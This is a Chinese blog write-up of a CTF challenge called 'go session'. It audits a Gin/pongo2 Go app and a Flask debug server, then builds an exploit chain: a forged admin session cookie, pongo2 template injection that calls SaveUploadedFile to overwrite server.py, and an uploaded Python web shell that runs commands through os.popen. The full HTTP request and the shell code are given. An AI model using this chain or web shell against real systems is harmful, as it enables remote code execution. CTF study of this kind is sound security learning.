【Go语言】go_session(超级详细)

目录

  • 前言
  • 附件
  • 代码审计
    • Index函数
    • Admin函数
    • Flask函数
    • server.py
    • 问题
  • 思路
    • 本地搭建环境
    • admin绕过
    • SaveUploadedFile方法
    • payload
  • 总结

前言

国赛初赛有一道题目go session,用go的Gin框架和pongo2模板引擎写的,是关于go的pongo2模板注入和flask的热加载,当时看着一脸懵逼,现在再看突然豁然开朗。

附件

主目录:

在这里插入图片描述
route文件夹:
在这里插入图片描述

代码审计

main.go

package mainimport ("github.com/gin-gonic/gin""main/route"
)func main() {r := gin.Default()r.GET("/", route.Index)r.GET("/admin", route.Admin)r.GET("/flask", route.Flask)r.Run("0.0.0.0:80")
}

main.go主要是引入route文件里面的内容,并且设置路由

route.go

package routeimport ("github.com/flosch/pongo2/v6""github.com/gin-gonic/gin""github.com/gorilla/sessions""html""io""net/http""os"
)var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))func Index(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] == nil {session.Values["name"] = "guest"err = session.Save(c.Request, c.Writer)if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}}c.String(200, "Hello, guest")
}func Admin(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] != "admin" {http.Error(c.Writer, "N0", http.StatusInternalServerError)return}name := c.DefaultQuery("name", "ssti")xssWaf := html.EscapeString(name)tpl, err := pongo2.FromString("Hello " + xssWaf + "!")if err != nil {panic(err)}out, err := tpl.Execute(pongo2.Context{"c": c})if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}c.String(200, out)
}func Flask(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] == nil {if err != nil {http.Error(c.Writer, "N0", http.StatusInternalServerError)return}}resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))if err != nil {return}defer resp.Body.Close()body, _ := io.ReadAll(resp.Body)c.String(200, string(body))
}

这是一个路由文件,使用了Gin框架和pongo2的模板引擎

主要定义了三个路由函数,接下来逐步分析

Index函数

func Index(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] == nil {session.Values["name"] = "guest"err = session.Save(c.Request, c.Writer)if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}}c.String(200, "Hello, guest")
}

Index函数用于处理根路径下的请求,它的参数是一个指向gin.Context的指针,而gin.Context是Gin框架中的一种上下文对象类型。它是一个包含了当前http请求和响应的信息、操作方法和属性的结构体,用于在处理http请求时传递和操作这些信息。同时gin.Context还提供了一系列的方法用于处理这些信息,这个将是我们后面利用的重点。

函数首先会获取名为 session-name 的cookie会话,然后判断会话中的name值是否为,如果为空,就会将name的值设置为guest,然后将会话保存到请求中,最后使用String方法返回一个状态码和一个字符串。

当我们直接访问时就会出现下面的页面

在这里插入图片描述

Admin函数

func Admin(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] != "admin" {http.Error(c.Writer, "N0", http.StatusInternalServerError)return}name := c.DefaultQuery("name", "ssti")xssWaf := html.EscapeString(name)tpl, err := pongo2.FromString("Hello " + xssWaf + "!")if err != nil {panic(err)}out, err := tpl.Execute(pongo2.Context{"c": c})if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}c.String(200, out)
}

Admin函数用于处理 /admin 下的请求,首先会获取会话,然后判断name字段的值是不是admin,如果不是就立即返回No,所以这里要进行session-name构造,使name字段的值为admin,然后进行下一步的操作,接着就是获取url请求中name字段的值,默认值是ssti,接着用EscapeString函数进行转义,防止XSS攻击,然后使用pongo2的模板引擎将字符串"Hello"和转义后的name字段值作为模板内容写入模板中,然后就是执行模板,将执行的结果存储在out中,最后返回out。

直接访问就会出现下面的页面

在这里插入图片描述

Flask函数

func Flask(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] == nil {if err != nil {http.Error(c.Writer, "N0", http.StatusInternalServerError)return}}resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))if err != nil {return}defer resp.Body.Close()body, _ := io.ReadAll(resp.Body)c.String(200, string(body))
}

Flask函数用于处理 /flask 函数下的请求,首先获取会话,然后判断name字段是否为空,如果不为空则获取url中name字段的值,并将其与本地地址拼接,发送一个GET请求。请求结束后关闭响应体,然后读取响应题的内容,将其转换为字符串返回。

当我们直接访问 /flask 目录并设置参数 name=1 时会出现以下页面

在这里插入图片描述
显示并没有找到资源,如果我们对参数进行一波Fuzz的话就会发现有报错页面出现

在这里插入图片描述
我们把报错信息复制下来然后保存为html文件,然后分析报错信息我们可以找到server.py的文件源码
在这里插入图片描述

server.py

from flask import *app = Flask(__name__)@app.route('/')def index():name = request.args['name']return name + " no ssti"if __name__== "__main__":app.run(host="0.0.0.0",port=5000,debug=True)

看这个源码,很显然在5000端口搭建的是一个flask的程序,而且更重要的是,这个程序设置了debug=True,说明程序开启了热加载功能,代码在更改后会自动重新加载程序,这意味着我们对代码进行更改后就会立即生效

问题

上面的报错信息虽然爆出了源码,但让我百思不得其解的是,这个报错信息说的是我的参数中没有包含 name 键,我直接???,不是,我访问的url就是 /flask?name=,虽然我这name没设置键值,但也不能说我参数中没name键吧,难道?有鬼?

本孩子打小就不信邪,所以在我反复拿着源码研读的时候终于发现了问题所在:

/flask路径下的处理逻辑是这样的

resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))

这个通过参数拼接访问本地5000端口上的flask程序,问题就出在拼接上,c.DefaultQuery()获取的是url请求中name参数的值直接拼接上去,如果我传入的name的值为空的话,c.DefaultQuery()就是空,那就相当于直接访问http://127.0.0.1:5000/,而再去查看刚才报错发现的源码server.py


@app.route('/')def index():name = request.args['name']return name + " no ssti"

这个文件在根路径会获取参数name值并返回,我之前没传入name值,怪不得会报错。

原来,这个世界上没有鬼,只有我这个菜鸡!(哭哭)

思路

本地搭建环境

刚开始拉代码的时候没拉下来,建议换一下代理,设置以下GoProxy

go env -w GOPROXY=https://goproxy.io,direct

admin绕过

将Index函数改成:

func Index(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] != "admin" {session.Values["name"] = "admin"err = session.Save(c.Request, c.Writer)if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}}message := fmt.Sprintf("Hello, %s", session.Values["name"])c.String(200, message)
}

这样当我们在访问根目录时就会获取到name值为admin的session-name了,然后我们就可以带着这个session-name访问/admin路径进行ssti注入了,常见的方式是直接注入读取文件找到flag,但是gin.Context对象本身并没有直接读取文件的方法,因为读取文件一般是服务端的操作,跟请求处理无关,但这样也表明它可以读取请求中包含的文件,也就是上传文件,而且gin.Context对象有处理文件上传的方法。

SaveUploadedFile方法

SaveUploadedFile方法用于保存上传的文件到指定的路径,这样我们就可以任意上传文件,然后将server.py替换执行任意内容。

所以我们的payload的url参数应该是这样的

{{c.SaveUploadedFile(c.FormFile("file"),"/app/server.py")}}

但是因为参数经过 html.EscapeString(name) 转义,会将双引号转义掉,所以要换一种方式,对于"file",gin.Context还提供了另一种方法,HandlerName() 方法,用于返回主处理程序的名称,这里返回的就是admin/route.Admin,然后可以用过滤器last获取最后一个字符串。对于 “/app/server.py”,可以在请求头中将Referer字段设置成 “/app/server.py”,然后用 Request.Referer()方法获取Referer的值

所以payload就是这样的

{{c.SaveUploadedFile(c.FormFile(c.HandlerName(),c.Request.Referer()))}}

但是在数据包中添加请求头时还要添加 Content-Type 头

Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND

对于添加这个头的解释是

对表单提交,浏览器会自动设置合适的 Content-Type 请求,同时
生成一个唯一的边界字符串,并在请求体中使用这个边界字符串将不
的表单字段和文件进行分隔。如果表单中包含文件上传的功能,需要
使用 multipart/form-data 类型的请求体格式。

payload

整体的数据包是这样的

GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} HTTP/1.1
Host: node1.anna.nssctf.cn:28421
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.203
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session-name=MTY5MTk5NTYxNnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXwAose6mBW42KwvBV0MfmwHk6ygJ3VCQ6Fh1BYVHxqahA==
Referer: /app/server.py
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND
Connection: close
Content-Length: 427------WebKitFormBoundary8ALIn5Z2C3VlBqND
Content-Disposition: form-data; name="n"; filename="1.py"
Content-Type: text/plainfrom flask import *
import os
app = Flask(__name__)@app.route('/')
def index():name = request.args['name']file=os.popen(name).read()return fileif __name__ == "__main__":app.run(host="0.0.0.0", port=5000, debug=True)
------WebKitFormBoundary8ALIn5Z2C3VlBqND--

在这里插入图片描述
这个上传的文件也很简单,接收一个名为 name 的参数,并使用 os.popen() 执行该参数作为命令,并返回执行结果
然后访问 /flask?name=?name=env,找到Flag
在这里插入图片描述
这里再解释一下为什么是

/flask?name=?name=env

而不是

/flask?name=env

还是上面说的那个原因,写成name=?name=env,拼接出来的url是
http://127.0.0.1:5000/?name=env
这样就可以接收到参数name并执行命令了
但写成name=env,拼接出来的url就是
http://127.0.0.1:5000/env
这样没有传入参数name,后端接收不到name参数就什么也执行不了了

总结

菜鸡,真菜鸡!不跟你们这一群人卷了,回家种地了!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/91563.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

分布式 - 服务器Nginx:一小时入门系列之代理缓冲与缓存

官方文档:https://nginx.org/en/docs/http/ngx_http_proxy_module.html 1. 代理缓冲 proxy_buffer 代理缓冲用于临时存储从后端服务器返回的响应数据。通过使用代理缓冲,Nginx可以在接收完整的响应后再将其发送给客户端,从而提高性能和效率…

智谷星图赵俊:让人才和区块链产业“双向奔赴”丨对话MVP

区块链产业需要什么样的人才?赵俊很有发言权。 赵俊是北京智谷星图科技有限公司的技术总监,也是FISCO BCOS官方认证讲师。他2017年接触区块链,随后选择人才培育领域深耕。“为区块链行业引进更多人才这件事很有价值,跟我的职业理…

【Java转Go】快速上手学习笔记(一)之环境安装篇

前言 前两天开始学习Go,需要写篇笔记记录总结一下。 Go它也是可以做web开发的,就像Java一样,做JavaWeb项目,Go也可以做GoWeb项目。当然Go的作用用处肯定不止这个,还有很多,只是因为我目前的话&#xff0c…

C进阶(2/7)前篇——指针进阶

前言:本文章讲解部分指针进阶内容。后续继续更新。 文章重点: 1. 字符指针 2. 数组指针 3. 指针数组 4. 数组传参和指针传参 目录 前言:本文章讲解部分指针进阶内容。后续继续更新。 指针初阶了解: 1.字符指针 1.1一道有关于字…

大模型基础:GPT家族与提示学习

大模型基础:GPT 家族与提示学习 从 GPT-1 到 GPT-3.5 GPT(Generative Pre-trained Transformer)是 Google 于2018年提出的一种基于 Transformer 的预训练语言模型。它标志着自然语言处理领域从 RNN 时代进入 Transformer 时代。GPT 的发展历史和技术特点如下: GPT-12018年6月…

java面试基础 -- 方法重载 方法重写

目录 重载 重写 重载 方法的重载是指在同一个类中定义多个方法, 他们具有相同的名称, 但是具有不同的参数列表, 例如: public void myMethod(int arg1) {// 方法体 }public void myMethod(int arg1, int arg2) {// 方法体 }public void myMethod(String arg1) {// 方法体 }…

软硬件免费,服务收费:网络安全商业模式正在被颠覆

大数据产业创新服务媒体 ——聚焦数据 改变商业 从元宇宙到造汽车,重回国内A股市场五年的360一路苦追热点。一直到大模型横空出世,360才算真正找到感觉,经历一次战略上的回归。 在8月9日的互联网安全大会上,一袭红衣的红衣教主周…

财务数据分析之现金流量表模板分享

现金流量表是我们常说的财务数据分析三表之一。它可以呈现一个企业的现金流情况,揭示企业经营管理健康状态,但在实际使用中却有总给人一种用不上、用不好的矛盾感。怎么才能把现金流量表做好?不如借鉴下大神的现金流量表模板。 下面介绍的是…

Docker 本地镜像发布到私有仓库

1. 本地镜像发布到私有库流程 2. 是什么 1 官方Docker Hub地址:https://hub.docker.com/,中国大陆访问太慢了且准备被阿里云取代的趋势,不太主流。 2 Dockerhub、阿里云这样的公共镜像仓库可能不太方便,涉及机密的公司不可能提供镜…

基于Gradio的GPT聊天程序

网上很多别人写的,要用账号也不放心。就自己写了一个基于gradio的聊天界面,部署后可以本地运行。 特点: 可以用openai的,也可以用api2d,其他api可以自己测试一下。使用了langchain的库 可以更改模型,会的…

使用插件实现pdf,word预览功能

效果 代码&#xff1a; 插件地址&#xff1a; https://github.com/501351981/vue-office <a-modalv-model:visible"visible":title"title"ok"handleOk":bodyStyle"bodyStyle":width"1200":maskClosable"false"…

MySQL卸载并重装指定版本

MySQL卸载并重装制定版本 学习新的项目&#xff0c;发现之前的Navicat已经失去了与现有MySQL的链接&#xff0c;而且版本也不适合&#xff0c;为了少走弯路&#xff0c;准备直接重装相应版本的MySQL 卸载现有MySQL 停止windows的MySQL服务&#xff0c;【windowsR】打开运行框…

【ChatGPT 指令大全】怎么使用ChatGPT来辅助知识学习

目录 概念解说 简易教学 深度教学 教学与测验 解释一个主题的背后原理 总结 在当今信息时代&#xff0c;互联网的快速发展为我们获取知识提供了前所未有的便利。而其中&#xff0c;人工智能技术的应用也为我们的学习和交流带来了新的可能性。作为一种基于自然语言处理的人…

2023年国赛数学建模思路 - 复盘:校园消费行为分析

文章目录 0 赛题思路1 赛题背景2 分析目标3 数据说明4 数据预处理5 数据分析5.1 食堂就餐行为分析5.2 学生消费行为分析 建模资料 0 赛题思路 &#xff08;赛题出来以后第一时间在CSDN分享&#xff09; https://blog.csdn.net/dc_sinor?typeblog 1 赛题背景 校园一卡通是集…

HDFS原理剖析

一、概述 HDFS是Hadoop的分布式文件系统&#xff08;Hadoop Distributed File System&#xff09;&#xff0c;实现大规模数据可靠的分布式读写。HDFS针对的使用场景是数据读写具有“一次写&#xff0c;多次读”的特征&#xff0c;而数据“写”操作是顺序写&#xff0c;也就是…

maven install

maven install maven 的 install 命令&#xff0c;当我们的一个 maven 模块想要依赖其他目录下的模块时&#xff0c;直接添加会找不到对应的模块&#xff0c;只需要找到需要引入的模块&#xff0c;执行 install 命令&#xff0c;就会将该模块放入本地仓库&#xff0c;就可以进…

机器学习基础之《分类算法(1)—sklearn转换器和估计器》

一、转换器 1、什么是转换器 之前做特征工程的步骤&#xff1a; &#xff08;1&#xff09;第一步就是实例化了一个转换器类&#xff08;Transformer&#xff09; &#xff08;2&#xff09;第二步就是调用fit_transform&#xff0c;进行数据的转换 2、我们把特征工程的接口称…

EthGlobal 巴黎站 Chainlink 获奖项目介绍

在 Web3 中&#xff0c;每一周都至关重要。项目的发布、版本的发布以及协议的更新以惊人的速度推出。开发者必须保持学习&#xff0c;随时了解最新的工具&#xff0c;并将所有他们所学的东西&#xff08;无论是旧的还是新的&#xff09;联系起来&#xff0c;以构建推动 Web3 技…

时序预测 | MATLAB实现WOA-CNN-GRU鲸鱼算法优化卷积门控循环单元时间序列预测

时序预测 | MATLAB实现WOA-CNN-GRU鲸鱼算法优化卷积门控循环单元时间序列预测 目录 时序预测 | MATLAB实现WOA-CNN-GRU鲸鱼算法优化卷积门控循环单元时间序列预测预测效果基本介绍模型描述程序设计参考资料 预测效果 基本介绍 时序预测 | MATLAB实现WOA-CNN-GRU鲸鱼算法优化卷积…

首发 | FOSS分布式全闪对象存储系统白皮书

一、 产品概述 1. 当前存储的挑战 随着云计算、物联网、5G、大数据、人工智能等新技术的飞速发展&#xff0c;数据呈现爆发式增长&#xff0c;预计到2025年中国数据量将增长到48.6ZB&#xff0c;超过80%为非结构化数据。 同时&#xff0c;数字经济正在成为我国经济发展的新…